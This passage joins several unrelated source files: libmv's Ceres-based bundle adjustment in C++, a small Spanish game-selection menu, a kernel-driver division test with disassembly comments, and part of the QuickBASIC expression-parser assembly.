problem.SetParameterBlockConstant(intrinsics_block); // Configure the solver. ceres::Solver::Options options; options.use_nonmonotonic_steps = true; options.preconditioner_type = ceres::SCHUR_JACOBI; options.linear_solver_type = ceres::ITERATIVE_SCHUR; options.use_explicit_schur_complement = true; options.use_inner_iterations = true; options.max_num_iterations = 100; options.num_threads = std::thread::hardware_concurrency(); // Solve! ceres::Solver::Summary summary; ceres::Solve(options, &problem, &summary); LG << "Final report:\n" << summary.FullReport(); } } // namespace void EuclideanBundle(const Tracks &tracks, EuclideanReconstruction *reconstruction) { PolynomialCameraIntrinsics empty_intrinsics; EuclideanBundleCommonIntrinsics(tracks, BUNDLE_NO_INTRINSICS, BUNDLE_NO_CONSTRAINTS, reconstruction, &empty_intrinsics, NULL); } void EuclideanBundleCommonIntrinsics( const Tracks &tracks, const int bundle_intrinsics, const int bundle_constraints, EuclideanReconstruction *reconstruction, CameraIntrinsics *intrinsics, BundleEvaluation *evaluation) { LG << "Original intrinsics: " << *intrinsics; vector<Marker> markers = tracks.AllMarkers(); // N-th element denotes whether track N is a constant zero-weighted track. vector<bool> zero_weight_tracks_flags(tracks.MaxTrack() + 1, true); // Residual blocks with 10 parameters are unwieldly with Ceres, so pack the // intrinsics into a single block and rely on local parameterizations to // control which intrinsics are allowed to vary. double intrinsics_block[OFFSET_MAX]; PackIntrinisicsIntoArray(*intrinsics, intrinsics_block); // Convert cameras rotations to angle axis and merge with translation // into single parameter block for maximal minimization speed. // // Block for minimization has got the following structure: // <3 elements for angle-axis> <3 elements for translation> map<int, Vec6> all_cameras_R_t = PackCamerasRotationAndTranslation(*reconstruction); // Parameterization used to restrict camera motion for modal solvers. ceres::SubsetParameterization *constant_translation_parameterization = NULL; if (bundle_constraints & BUNDLE_NO_TRANSLATION) { std::vector<int> constant_translation; // First three elements are rotation, ast three are translation. constant_translation.push_back(3); constant_translation.push_back(4); constant_translation.push_back(5); constant_translation_parameterization = new ceres::SubsetParameterization(6, constant_translation); } // Add residual blocks to the problem. ceres::Problem::Options problem_options; ceres::Problem problem(problem_options); int num_residuals = 0; bool have_locked_camera = false; for (int i = 0; i < markers.size(); ++i) { const Marker &marker = markers[i]; EuclideanCamera *camera = reconstruction->CameraForImage(marker.image); EuclideanPoint *point = reconstruction->PointForTrack(marker.track); if (camera == NULL || point == NULL) { continue; } // Rotation of camera denoted in angle axis followed with // camera translation. double *current_camera_R_t = &all_cameras_R_t[camera->image](0); // Skip residual block for markers which does have absolutely // no affect on the final solution. // This way ceres is not gonna to go crazy. if (marker.weight != 0.0) { AddResidualBlockToProblem(intrinsics, marker, marker.weight, intrinsics_block, current_camera_R_t, point, &problem); // We lock the first camera to better deal with scene orientation ambiguity. if (!have_locked_camera) { problem.SetParameterBlockConstant(current_camera_R_t); have_locked_camera = true; } if (bundle_constraints & BUNDLE_NO_TRANSLATION) { problem.SetParameterization(current_camera_R_t, constant_translation_parameterization); } zero_weight_tracks_flags[marker.track] = false; num_residuals++; } } LG << "Number of residuals: " << num_residuals; if (!num_residuals) { LG << "Skipping running minimizer with zero residuals"; return; } if (intrinsics->GetDistortionModelType() == DISTORTION_MODEL_DIVISION && (bundle_intrinsics & BUNDLE_TANGENTIAL) != 0) { LOG(FATAL) << "Division model doesn't support bundling " "of tangential distortion"; } BundleIntrinsicsLogMessage(bundle_intrinsics); if (bundle_intrinsics == BUNDLE_NO_INTRINSICS) { // No camera intrinsics are being refined, // set the whole parameter block as constant for best performance. problem.SetParameterBlockConstant(intrinsics_block); } else { // Set the camera intrinsics that are not to be bundled as // constant using some macro trickery. std::vector<int> constant_intrinsics; #define MAYBE_SET_CONSTANT(bundle_enum, offset) \ if (!(bundle_intrinsics & bundle_enum)) { \ constant_intrinsics.push_back(offset); \ } MAYBE_SET_CONSTANT(BUNDLE_FOCAL_LENGTH, OFFSET_FOCAL_LENGTH); MAYBE_SET_CONSTANT(BUNDLE_PRINCIPAL_POINT, OFFSET_PRINCIPAL_POINT_X); MAYBE_SET_CONSTANT(BUNDLE_PRINCIPAL_POINT, OFFSET_PRINCIPAL_POINT_Y); MAYBE_SET_CONSTANT(BUNDLE_RADIAL_K1, OFFSET_K1); MAYBE_SET_CONSTANT(BUNDLE_RADIAL_K2, OFFSET_K2); MAYBE_SET_CONSTANT(BUNDLE_TANGENTIAL_P1, OFFSET_P1); MAYBE_SET_CONSTANT(BUNDLE_TANGENTIAL_P2, OFFSET_P2); #undef MAYBE_SET_CONSTANT // Always set K3 and K4 constant, it's not used at the moment. constant_intrinsics.push_back(OFFSET_K3); constant_intrinsics.push_back(OFFSET_K4); ceres::SubsetParameterization *subset_parameterization = new ceres::SubsetParameterization(OFFSET_MAX, constant_intrinsics); problem.SetParameterization(intrinsics_block, subset_parameterization); } // Configure the solver. ceres::Solver::Options options; options.use_nonmonotonic_steps = true; options.preconditioner_type = ceres::SCHUR_JACOBI; options.linear_solver_type = ceres::ITERATIVE_SCHUR; options.use_explicit_schur_complement = true; options.use_inner_iterations = true; options.max_num_iterations = 100; options.num_threads = std::thread::hardware_concurrency(); // Solve! ceres::Solver::Summary summary; ceres::Solve(options, &problem, &summary); LG << "Final report:\n" << summary.FullReport(); // Copy rotations and translations back. UnpackCamerasRotationAndTranslation(all_cameras_R_t, reconstruction); // Copy intrinsics back. if (bundle_intrinsics != BUNDLE_NO_INTRINSICS) UnpackIntrinsicsFromArray(intrinsics_block, intrinsics); LG << "Final intrinsics: " << *intrinsics; if (evaluation) { EuclideanBundlerPerformEvaluation(tracks, reconstruction, &all_cameras_R_t, &problem, evaluation); } // Separate step to adjust positions of tracks which are // constant zero-weighted. vector<Marker> zero_weight_markers; for (int track = 0; track < tracks.MaxTrack(); ++track) { if (zero_weight_tracks_flags[track]) { vector<Marker> current_markers = tracks.MarkersForTrack(track); zero_weight_markers.reserve(zero_weight_markers.size() + current_markers.size()); for (int i = 0; i < current_markers.size(); ++i) { zero_weight_markers.push_back(current_markers[i]); } } } if (zero_weight_markers.size()) { LG << "Refining position of constant zero-weighted tracks"; EuclideanBundlePointsOnly(intrinsics, zero_weight_markers, all_cameras_R_t, intrinsics_block, reconstruction); } } void ProjectiveBundle(const Tracks & /*tracks*/, ProjectiveReconstruction * /*reconstruction*/) { // TODO(keir): Implement this! This can't work until we have a better bundler // than SSBA, since SSBA has no support for projective bundling. } } // namespace libmv
#include <iostream> #include "startShip.h" #include "snake.h" using namespace std; int main(int argc, char const *argv[]) { int numero = 0; system("cls"); cout << "**************"; cout << endl; cout << "MENU DE JUEGOS"; cout << endl; cout << "**************"; cout << endl; cout << endl; cout << "Seleccione un juego" << endl; cout << "1 - StarShip" << endl; cout << "2 - Snake" << endl; cout << "Ingrese un numero del menu para seleccionar juego: "; cin >> numero; cout << endl; switch (numero) { case 1: starShip(); break; case 2: snake(); break; default: break; } return 0; }
#include <fltKernel.h> #include "math-int_fastdiv/int_fastdiv.h" #define dprintf(...) DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, __VA_ARGS__) DECLSPEC_NOINLINE void Test_int_fastdiv(int_fastdiv d) { /* .text:0000000140001000 push rbp .text:0000000140001001 sub rsp, 30h .text:0000000140001005 lea rbp, [rsp+30h] .text:000000014000100A and rsp, 0FFFFFFFFFFFFFFF0h .text:000000014000100E mov [rsp+30h+var_4], 64h ; 'd' .text:0000000140001016 mov eax, [rsp+30h+var_4] .text:000000014000101A movsxd rdx, dword ptr [rcx+4] .text:000000014000101E cdqe .text:0000000140001020 imul rdx, rax .text:0000000140001024 shr rdx, 20h .text:0000000140001028 imul eax, [rcx+0Ch] .text:000000014000102C add eax, edx .text:000000014000102E mov ecx, [rcx+8] .text:0000000140001031 mov edx, eax .text:0000000140001033 sar edx, cl .text:0000000140001035 mov r9d, eax .text:0000000140001038 shr r9d, 1Fh .text:000000014000103C add r9d, edx .text:000000014000103F test ecx, ecx .text:0000000140001041 cmovs r9d, eax .text:0000000140001045 lea r8, Format ; "Test_int_fastdiv:q=%d\n" .text:000000014000104C mov ecx, 4Dh ; 'M' ; ComponentId .text:0000000140001051 xor edx, edx ; Level .text:0000000140001053 call cs:__imp_DbgPrintEx .text:0000000140001059 nop .text:000000014000105A mov rsp, rbp .text:000000014000105D pop rbp .text:000000014000105E retn */ volatile int a = 100; int q = a / d; dprintf("Test_int_fastdiv:q=%d\n", q); } DECLSPEC_NOINLINE void Test_int_div(int d) { /* .text:000000014000105F push rbp .text:0000000140001060 sub rsp, 30h .text:0000000140001064 lea rbp, [rsp+30h] .text:0000000140001069 and rsp, 0FFFFFFFFFFFFFFF0h .text:000000014000106D mov [rsp+30h+var_4], 64h ; 'd' .text:0000000140001075 mov eax, [rsp+30h+var_4] .text:0000000140001079 cdq .text:000000014000107A idiv ecx .text:000000014000107C lea r8, aTestIntDivQD ; "Test_int_div:q=%d\n" .text:0000000140001083 mov ecx, 4Dh ; 'M' ; ComponentId .text:0000000140001088 xor edx, edx ; Level .text:000000014000108A mov r9d, eax .text:000000014000108D call cs:__imp_DbgPrintEx .text:0000000140001093 nop .text:0000000140001094 mov rsp, rbp .text:0000000140001097 pop rbp .text:0000000140001098 retn */ volatile int a = 100; int q = a / d; dprintf("Test_int_div:q=%d\n", q); } EXTERN_C void TestDiv() { dprintf("TestDiv begin\n"); Test_int_fastdiv(10); Test_int_div(10); dprintf("TestDiv end\n"); }
TITLE prsexp.asm - Parser Expression Recognizer ;========================================================================== ; Module: prsexp.asm - Parser Expression Recognizer ; Subsystem: Parser ; System: Quick BASIC Interpreter ; ; NOTE: ; See prsnt.asm for general comments ; ;=========================================================================== include version.inc PRSEXP_ASM = ON includeOnce opaftqb4 includeOnce prstab includeOnce opintrsc includeOnce qbimsgs includeOnce parser includeOnce pcode includeOnce psint includeOnce variable assumes DS,DATA assumes SS,DATA assumes ES,NOTHING sBegin DATA PREC_lPar EQU 1 ;operator precedence for '(' PREC_rPar EQU 1 ;operator precedence for ')' PREC_mark EQU 0 ;minimum operator precedence FOP_unary EQU 1 ;flag indicating resword can be a unary operator ;NOTE: order of this table assumes values of IOP_mark through IOP_LParen ; as defined in psint.inc ; .errnz IOP_mark - 0 .errnz IOP_RParen - 1 .errnz IOP_Imp - 2 .errnz IOP_Eqv - 3 .errnz IOP_Xor - 4 .errnz IOP_Or - 5 .errnz IOP_And - 6 .errnz IOP_Not - 7 .errnz IOP_EQ - 8 .errnz IOP_LT - 9 .errnz IOP_GT - 10 .errnz IOP_LE - 11 .errnz IOP_GE - 12 .errnz IOP_NE - 13 .errnz IOP_Add - 14 .errnz IOP_Minus - 15 .errnz IOP_Mod - 16 .errnz IOP_Idiv - 17 .errnz IOP_Mult - 18 .errnz IOP_Div - 19 .errnz IOP_Plus - 20 .errnz IOP_UMinus - 21 .errnz IOP_Pwr - 22 .errnz IOP_LParen - 23 mpIopOpcode LABEL WORD DW 0 ;stack marker DW 0 ;) DW opImp ;IMP DW opEqv ;EQV DW opXor ;XOR DW opOr ;OR DW opAnd ;AND DW opNot ;NOT DW opEQ ;= DW opLT ;< DW opGT ;> DW opLE ;<= DW opGE ;>= DW opNE ;<> DW opAdd ;binary+ DW opSub ;binary- DW opMod ;MOD DW opIDv ; \ DW opMul ;* DW opDiv ;/ DW 0 ;unary+ (never emitted) DW opUMi ;unary- DW opPwr ;^ DW opLParen ;( mpIopPrecedence LABEL BYTE DB 2*PREC_mark ;stack marker DB 2*PREC_rPar ;) DB 2*2 ;IMP DB 2*3 ;EQV DB 2*4 ;XOR DB 2*5 ;OR DB 2*6 ;AND DB 2*7 + FOP_unary ;NOT DB 2*8 ;= DB 2*8 ;< DB 2*8 ;> DB 2*8 ;<= DB 2*8 ;>= DB 2*8 ;<> DB 2*9 ;binary+ DB 2*9 ;binary- DB 2*10 ;MOD DB 2*11 ; \ DB 2*12 ;* DB 2*12 ;/ DB 2*13 + FOP_unary ;unary+ DB 2*13 + FOP_unary ;unary- DB 2*14 ;^ DB 2*PREC_lPar + FOP_unary;( PUBLIC pExpTos, stkExpInit ;Expression stack constants (see prsexp.asm) CB_EXP_STK EQU 64 ;number of bytes in expression stack ; 4 bytes per entry, 16 entries stkExp DB CB_EXP_STK DUP (?) ;parse-time expression stack stkExpMin EQU stkExp+4 ;minimum legal offset for pExpTos stkExpInit LABEL BYTE ;value of pExpTos when initialized pExpTos DW 0 ;points to cur top of expression stack sEnd DATA sBegin CP assumes CS,CP ;*********************************************************************/ ; ushort NEAR RelOp() ; ; Purpose: ; Called by NtExp() and NtCaseArg() to parse a relational operator. ; If a 2-token relational operator is parsed, ScanTok() is called ; once to consume 1st token. Caller must always call once ScanTok() ; to skip past token(s). It is done this way so NtExp() can be faster ; & smaller. ; ; Entry: ; pTokScan points to potential relational operator token ; ; Exit: ; returns: ; 0 if token is not a relational operator ; 1 for = ; 2 for < ; 3 for > ; 4 for <= ; 5 for >= ; 6 for <> ; Condition codes set based on value in ax ; ;*********************************************************************/ ;Register usage: ; di = iOperator ; si = points to current token ; cProc RelOp <PUBLIC,NEAR,NODATA>,<di> cBegin RelOp sub di,di ;default return value to 0 mov bx,[pTokScan] ;bx points to current token RelOpLoop: cmp [bx.TOK_class],CL_resword jne RelOpExit ;brif token isn't a reserved word mov ax,[bx.TOK_rw_iOperator];ax = operator's index (IOP_xxx) inc ax ;test for UNDEFINED je RelOpExit ;brif token isn't an operator ;Got an operator, see if its a relational operator ;IOP_xxx is always way less than 255, we can deal with low byte of ax sub al,9 ;map =,<,> to 0,1,2 cmp al,2 ja RelOpExit ;brif token isn't a relational operator inc ax ;map =,<,> to 1,2,3 or di,di jne Got2ndChar ;brif we're dealing with 2nd char ; or relational operator xchg di,ax ;save partial return value in di ;got a relational operator, see if it is a 2-token ;relational operator like <>, <=, or >= call Peek1Tok ;examine beyond current token ; bx points to that token jmp SHORT RelOpLoop ;examine 2nd char ;di = 1..3 for 1st char in {=,<,>} ;ax = 1..3 for 2nd char in {=,<,>} Got2ndChar: cmp ax,di je RelOpExit ;brif same char as 1st (<<, >> or ==) inc ax ;map 2nd char {=,<,>} to 2,3,4 add di,ax ;map <=, >=, <> to 4,5,6 call ScanTok ;skip 1st relational operator RelOpExit: xchg ax,di ;ax = return value or ax,ax ;set condition codes for caller cEnd RelOp ;********************************************************************* ; STATICF(boolean) PopTillLParen() ; ; Purpose: ; This is called when we have encountered a right paren while ; parsing an expression. It causes all operators which have been ; stacked to be emitted, up to the matching stacked left paren. ; If no matching left paren is found on the stack, it means we ; parsed a sub-expression like x+y), so NtExp() should exit ; and let its caller parse the right paren. Maybe it marks the ; end of a function, sub, or array arg list. ; ; Exit: ; If 1 left paren was popped of the stack, returns psw.EQ, ; else if no left parens were found on stack, returns psw.NE ; ;*********************************************************************/ cProc PopTillLParen <NEAR,NODATA>,<si,di> cBegin PopTillLParen mov si,[pExpTos] ;si points to top of expression stack PopLoop: ;while (PREC_lPar < *pExpTosReg) { cmp WORD PTR [si],PREC_lPar jbe PopDone inc si ;pop stacked operator's precedence inc si lodsw ;pop and emit stacked operator's opcode call Emit16_AX jmp SHORT PopLoop PopDone: mov [pExpTos],si ;save pointer to top-of-stack ;if top-of-stack is left paren, return psw.EQ cmp WORD PTR [si],PREC_lPar cEnd PopTillLParen ;********************************************************************* ; PARSE_RESULT NEAR NtExp() ; ; Purpose: ; Parse an expression and emit code for it. ; Guarenteed to give Expression To Complex error before ; more than 16 (CB_EXP_STK/4) entries get pushed onto the expression ; stack. This controls unrestricted stack (SS) usage. ; ; Entry: ; pTokScan points to 1st token of expression to be parsed ; If the static variable [oNamConstPs] is non-zero, intrinsic ; functions are not allowed ; ; Exit: ; pTokScan points to 1st token after expression ; cIdArgs is bumped by 1 (no matter how much recursion takes place). ; The return value is PR_GoodSyntax, PR_NotFound or PR_BadSyntax. ; If the result is not PR_BadSyntax, mkVar.flags is preserved across ; the call ; Condition codes set based on value in al ; ;******************************************************************* cProc NtExp <PUBLIC,NEAR,NODATA>,<si,di> localB fConsumed cBegin NtExp push [mkVar.MKVAR_flags] ;preserve this for caller ;Push a low-precedence stopper onto the stack which prevents any ;operators already on the stack from being emitted as a result of ;this recursive invocation of NtExp. sub [pExpTos],2 ;make room for marker on exp stack mov bx,[pExpTos] mov WORD PTR [bx],PREC_mark ;push minimum precedence mov [fConsumed],0 ;we haven't consumed anything yet ;------------------------------------------------------------------- ;State which expects a term (function, constant, or variable). ; If we don't get one, we either return PR_BadSyntax if we've consumed ; 1 or more tokens, or PR_NotFound if we've consumed no tokens ; State1: mov bx,[pTokScan] ;bx points to current token mov ax,[bx.TOK_class] ;ax = token's class cmp al,CL_id je GotId ;brif token is an id cmp al,CL_resword je GotResWord ;brif token is a reserved word cmp al,CL_lit jne NotTerm ;brif token is not a constant call NtLit ;try to parse a constant ; It is guarenteed that NtLit cannot ; return PR_NotFound if the token's ; class is CL_lit jmp SHORT CheckResult GotId: call NtIdAryElem ;Try to parse an id (may recurse) ; It is guarenteed that NtIdAryElem ; cannot return PR_NotFound ; if the token's class is CL_id dec [cIdArgs] ;NtIdAryElem() bumped cIdArgs, ; NtExp() bumps it on exit, and we are ; only supposed to bump it once per ; invocation of NtExp(). CheckResult: or al,al ;test return code jg State2 ;brif PR_GoodSyntax jmp NtExpExit ;return PR_BadSyntax result ;bx points to current token's descriptor GotResWord: mov ax,[bx.TOK_rw_iOperator] inc ax ;test for UNDEFINED je NotOperator ;brif didn't get an operator dec ax ;ax = IOP_xxx for operator cmp al,IOP_Add je Scan_State1 ;brif unary plus ; no need to emit a unary + cmp al,IOP_Minus jne NotMinus ;brif not if unary minus mov al,IOP_UMinus ;convert to unary form of - ;ax = operator index (IOP_xxx) for current token NotMinus: mov di,ax ;di = operator index test mpIopPrecedence[di],FOP_unary je NotTerm ;brif not a unary operator cmp al,IOP_LParen jne ConsumeOp ;brif token is not '(' ; -- consume & stack/emit operator sub [pExpTos],2 mov bx,[pExpTos] mov WORD PTR [bx],PREC_lPar ;push precedence for '(' ; this precedence can only be popped ; by right paren cmp bx,dataOFFSET stkExpMin jb ExpTooComplex ;brif stack overflow Scan_State1: call ScanTok ;skip current token mov [fConsumed],1 ;Now we can't return PR_NotFound jmp State1 ; because we've consumed something NotOperator: call NtIntrinsic ;try to parse intrinsic function jg SHORT State2 ;brif PR_GoodSyntax (change state) jl J1_NtExpExit ;brif PR_BadSyntax NotTerm: cmp [fConsumed],1 je ExpectedExp ;error if we needed to see a term ; i.e. we've consumed anything ;else we never even consumed 1 token, return NotFound sub al,al ;return(PR_NotFound) jmp SHORT J1_NtExpExit ;------------------------------------------------------------------- ;Error handler's (placed here so they can be reached by SHORT jumps) ; ExpTooComplex: mov ax,MSG_ExpTooComplex ;Error: expression too complex call PErrMsg_AX ;produce parser error msg ; al = PR_BadSyntax jmp SHORT J1_NtExpExit ;we've encountered something like <term><operator><garbage> ; ExpectedExp: mov ax,MSG_ExpExp ;Error: Expected expression ExpErrMsg: call PErrExpMsg_AX ;Error: Expected <ax> ; al = PR_BadSyntax J1_NtExpExit: jmp NtExpExit ;------------------------------------------------------------------- ;This code is for the state where we are expecting a binary operator ; or end-of-expression ; State2: mov bx,[pTokScan] ;bx points to current token cmp [bx.TOK_class],CL_resword jne EndOfExp ;brif not reserved word mov ax,[bx.TOK_rw_iOperator];ax = IOP_xxx for token inc ax ;test for UNDEFINED je EndOfExp ;brif its not an operator dec ax ;ax = operator's IOP_xxx mov di,ax ;di = operator's IOP_xxx test mpIopPrecedence[di],FOP_unary jne EndOfExp ;brif not binary operator (exit) cmp al,IOP_RParen ;check for right paren jne NotRightParen ;brif not ;Now we call PopTillLParen to cause all operators stacked ; since the last scanned left paren to be emitted. ; It also detects if the parenthesis for this expression ; don't balance, i.e. the expression (a)), in which ; case we return, because the right paren we're looking ; at may be for an array reference. If it is an error, ; it will be caught by a higher level. call PopTillLParen jne EndOfExp ;brif we got a right paren, but it ; was beyond the expression we were ; called to parse. Exit without ; consuming this right paren. add [pExpTos],2 ;pop left paren's precedence mov ax,opLParen ;emit opLParen pcode call Emit16_AX call ScanTok ;skip right paren jmp SHORT State2 ;state remains ExpBinaryOp ;Check for relational operator ; di = IOP_xxx for operator ; NotRightParen: call RelOp ;see if its a relational operator je ConsumeOp ;branch if not ;iop = RelOp() + IOP_EQ - 1 add al,IOP_EQ - 1 ;ax = operator index - IOP_EQ - 1 xchg di,ax ;di = IOP for relational operator ;This is executed when we have scanned an operator while parsing ; an expression. All stacked operators with precedence greator or ; equal to the scanned operator are emitted, then the scanned operator ; is stacked. This is how we convert infix to postfix (or reverse polish). ; di = IOP_xxx for operator ; ConsumeOp: mov si,[pExpTos] ;si points to top of exp stack mov al,mpIopPrecedence[di] ;al = operator's precedence sub ah,ah ;ax = operator's precedence shl di,1 ;di = IOP_xxx * 2 push mpIopOpcode[di] ;save current operator's opcode mov di,ax ;di = operator's precedence test al,FOP_unary jne EmitDone ;brif unary operator (must be stacked ; until we emit the term it applies to) EmitLoop: cmp [si],di jb EmitDone ;brif stacked operand's precedence ; is less than precedence of ; current operator ; (i.e. leave relatively high precedence ; operators on the stack) inc si ;pop stacked operator's precedence inc si lodsw ;pop and emit stacked operator's opcode call Emit16_AX ;emit the stacked opcode jmp SHORT EmitLoop EmitDone: sub si,4 ;make room for new entry mov [si],di ;push current operator's precedence pop [si+2] ;push current operator's opcode mov [pExpTos],si ;save exp stack ptr cmp si,dataOFFSET stkExpMin jbe J_ExpTooComplex ;brif exp stack overflow jmp Scan_State1 ;scan token, advance state J_ExpTooComplex: jmp ExpTooComplex ;Error: Expression too complex ;Now we call PopTillLParen to cause all operators stacked by this ; recursive invocation of NtExp to be emitted. It also detects ; if the parenthesis for this expression don't balance, i.e. ; the expression ((a+5) ; EndOfExp: call PopTillLParen jne ParensBalance ;brif paranthesis are balanced mov ax,MSG_RightParen ;Error: Expected ')' jmp ExpErrMsg ;Now we pop the minimum precedence operator stack marker which was ;stacked when we entered this recursive invocation of NtExp ; ParensBalance: inc [cIdArgs] mov al,PR_GoodSyntax ;This is (and must remain) the only ; exit which returns PR_GoodSyntax NtExpExit: add [pExpTos],2 ;pop off initial stopper pop [mkVar.MKVAR_flags] ;restore caller's mkVar.flags or al,al ;set condition codes for caller cEnd NtExp subttl Intrinsic Function Nonterminal ;********************************************************************** ; PARSE_RESULT NEAR NtIntrinsic() ; ; Purpose: ; Parse an intrinsic function. ; ; Entry: ; If the static variable [oNamConstPs] is non-zero, intrinsic ; functions are not allowed ; ; Exit: ; The value of cIdArgs is preserved ; If no intrinsic is found, no tokens are consumed, no opcodes ; are emitted, and the return value is PR_NotFound. ; If it is found, a corresponding opcode is emitted and ; Parse() is called to check the syntax and generate code ; for it. If the syntax for the intrinsic is good, the ; return code is PR_GoodSyntax. If not the return code ; is PR_BadSyntax. ; Condition codes set based on value in al ; ;****************************************************************** cProc NtIntrinsic <PUBLIC,NODATA,NEAR>,<si,di> cBegin NtIntrinsic sub al,al ;prepare to return PR_NotFound mov bx,[pTokScan] ;bx points to current token cmp [bx.TOK_class],CL_resWord jne NtIntrExit ;brif not a reserved word mov dx,[bx.TOK_rw_rwf] ;dx = reserved word flags test dx,RWF_FUNC je NtIntrExit ;brif token isn't for intrinsic func cmp [oNamConstPs],0 je NotInCONST ;brif not in CONST a=<expression> stmt mov ax,MSG_InvConst ;Error: Invalid Constant call PErrMsg_AX ; al = PR_BadSyntax jmp SHORT NtIntrExit NotInCONST: push [pCurStkMark] ;preserve caller's pCurStkMarker push [cIdArgs] ;preserve caller's cIdArgs mov [cIdArgs],0 ;reset cIdArgs to 0 for this ; intrinsic function's code generator ;Fetch info for a particular intrinsic function out of the ;parser's reserved word table 'tRw'. mov si,[bx+TOK_rw_pArgs] ;si -> pRwArgs in tRw lods WORD PTR cs:[si] ;ax=state table offset for func's syntax mov cx,ax ;cx=state table offset sub di,di ;default to no code generator test dx,RWF_FUNC_CG je NoFuncCg ;branch if no code generator for func lods WORD PTR cs:[si] ;ax=adr of code generation func mov di,ax ;di=adr of code generation func lods WORD PTR cs:[si] ;ax=arg to pass to code generation func mov si,ax ;si=code generation arg NoFuncCg: push cx ;pass oState to Parse call ScanTok ;skip keyword token pop ax ;ax = oState add ax,OFFSET CP:tState ;ax = pState = &(tState[oState]) mov [pStateLastScan],ax call NtParse ;try to parse intrinsic function jle NtIntrNotGood ;branch if result isn't PR_GoodSyntax or di,di je NtIntrGoodSyntax ;branch if no function code generator mov ax,si ;pass arg to code generation routine ; (usually, this is an opcode) call di ;invoke code generation routine NtIntrGoodSyntax: mov al,PR_GoodSyntax ;return PR_GoodSyntax jmp SHORT NtIntrRestore NtIntrNotGood: jl NtIntrRestore ;branch if result == PR_BadSyntax call PErrState ;Generate error message "Expected ; <a> or <b> or ..." ;al = PR_BadSyntax NtIntrRestore: pop [cIdArgs] ;restore caller's cIdArgs pop [pCurStkMark] ;restore caller's pCurStkMarker NtIntrExit: or al,al ;set condition codes for caller cEnd NtIntrinsic subttl Literal Nonterminals UNARY_LIT EQU 0 ; Used when CASE could only be followed by literal instead of Exp. ; May easily be useful for some future construct. ; Handles up to 1 unary minus. Could easily be changed ; to handle unary +, we would just need to add the opcode. ;********************************************************************** ; PARSE_RESULT NEAR NtLit() ; ; Purpose: ; Parse any form of literal and, if found, generate a corresponding ; literal opcode. ; ; Exit: ; Returns either PR_GoodSyntax, PR_NotFound or PR_BadSyntax ; Condition codes set based on value in al ; ;****************************************************************** cProc NtLit <PUBLIC,NODATA,NEAR>,<si,di> cBegin NtLit mov di,[pTokScan] ;di points to current token cmp [di.TOK_class],CL_lit jne LitNotFound ;brif already got a unary op sub ax,ax or al,[di.TOK_lit_errCode] ;ax = lexical analyzer's error code jne LitSnErr ;brif lexical analyzer found an error ; in literal's format lea si,[di.TOK_lit_value_I2];si points to literal's value mov bl,[di.TOK_lit_litType] ;bl = LIT_xxx for literal cmp bl,LIT_STR je GotLitSD cmp bl,LIT_I2 jne @F ;branch if not a decimal integer mov ax,[si] ;ax = value cmp ax,opLitI2Max ; Is value within pcode limit ja @F ;branch if value isn't 0..10 .erre OPCODE_MASK EQ 03ffh ; Assure following code is ok mov ah,al mov al,0 ; AX = literal * 0100h shl ax,1 ; AX = literal * 0200h shl ax,1 ; AX = literal * 0400h add ax,opLitI2 ;opcode = opLitI2 w/value in upper bits call Emit16_AX jmp SHORT NtLitGoodSyntax @@: sub bh,bh ;bx = LIT_xxx for literal mov al,[tLitCwValue + bx] ;al = # words in literal's value sub ah,ah ;ax = # words in literal's value mov di,ax ;di = # words in literal's value shl bx,1 ;bx = 2 * LIT_xxx for literal mov ax,[tLitOpcodes + bx] ;ax = opcode call Emit16_AX ;emit the opcode EmitLitLoop: lodsw ;ax = next word of literal's value call Emit16_AX dec di jne EmitLitLoop ;branch if more words to emit jmp SHORT NtLitGoodSyntax ;Got a string constant like "xxxxxxx" ;Emit all source characters between the double quotes. ;If <cbText> is odd, <cbText> is emitted as an odd value, ;and an extra pad byte is appended to keep pcode even-byte alligned. ; GotLitSD: mov ax,opLitSD call Emit16_AX mov ax,[di.TOK_oSrc] ;ax = column token started in inc ax ;ax = oSrc + 1 (skip ") push ax ;pass it to EmitSrc mov ax,[si] ;ax = length of string literal in bytes ;TOK_lit_value_cbStr push ax ;pass size of string to EmitSrc call Emit16_AX ;emit size of the string call EmitSrc ;emit the string itself NtLitGoodSyntax: call ScanTok ;skip literal token mov al,PR_GoodSyntax NtLitExit: or al,al ;set condition codes for caller cEnd NtLit LitNotFound: sub ax,ax ;prepare to return PR_NotFound jmp SHORT NtLitExit ;brif we didn't consume unary opcode ;ax = error encountered by lexical analyzer when scanning number LitSnErr: call PErrMsg_AX ; al = PR_BadSyntax jmp SHORT NtLitExit sEnd CP sBegin DATA ;Tables used by NtLit ;Following tables assume following constants: OrdConstStart 0 OrdConst LIT_I2 ; % suffix OrdConst LIT_O2 ; &O prefix OrdConst LIT_H2 ; &H prefix OrdConst LIT_I4 ; & suffix OrdConst LIT_O4 ; &&O prefix OrdConst LIT_H4 ; &&H prefix OrdConst LIT_R4 ; ! suffix OrdConst LIT_R8 ; # suffix OrdConst LIT_STR ; "xxx" tLitOpcodes LABEL WORD DW opLitDI2 ;LIT_I2 (% suffix) DW opLitOI2 ;LIT_O2 (&O prefix) DW opLitHI2 ;LIT_H2 (&H prefix) DW opLitDI4 ;LIT_I4 (& suffix) DW opLitOI4 ;LIT_O4 (&&O prefix) DW opLitHI4 ;LIT_H4 (&&H prefix) DW opLitR4 ;LIT_R4 (! suffix) DW opLitR8 ;LIT_R8 (# suffix) tLitCwValue LABEL BYTE DB 1 ;LIT_I2 (% suffix) DB 1 ;LIT_O2 (&O prefix) DB 1 ;LIT_H2 (&H prefix) DB 2 ;LIT_I4 (& suffix) DB 2 ;LIT_O4 (&&O prefix) DB 2 ;LIT_H4 (&&H prefix) DB 2 ;LIT_R4 (! suffix) DB 4 ;LIT_R8 (# suffix) sEnd DATA sBegin CP ;********************************************************************** ; PARSE_RESULT NEAR NtLitI2() - Parse & emit 16-bit integer ; Purpose: ; Parse and emit a 16-bit signed integer. Note this is very ; different from NtLit() in that it emits no opcode, just ; a 16 bit value. It is the responsibility of the caller ; to emit the opcode before calling this function. ; If a numeric literal is found, but it is > 32k, ; an Overflow error message is generated. ; Exit: ; Returns PR_GoodSyntax, PR_BadSyntax or PR_NotFound ; Condition codes set based on value in al ; ;****************************************************************** PUBLIC NtLitI2 NtLitI2 PROC NEAR sub al,al ;prepare to return PR_NotFound mov bx,[pTokScan] ;bx points to current token cmp [bx.TOK_class],CL_lit jne NtLitI2Exit ;branch if token isn't a literal cmp [bx.TOK_lit_type],ET_I2 jne NtLitI2Ov ;brif token isn't a signed 16 bit int mov ax,[bx.TOK_lit_value_I2];ax = value call Emit16_AX 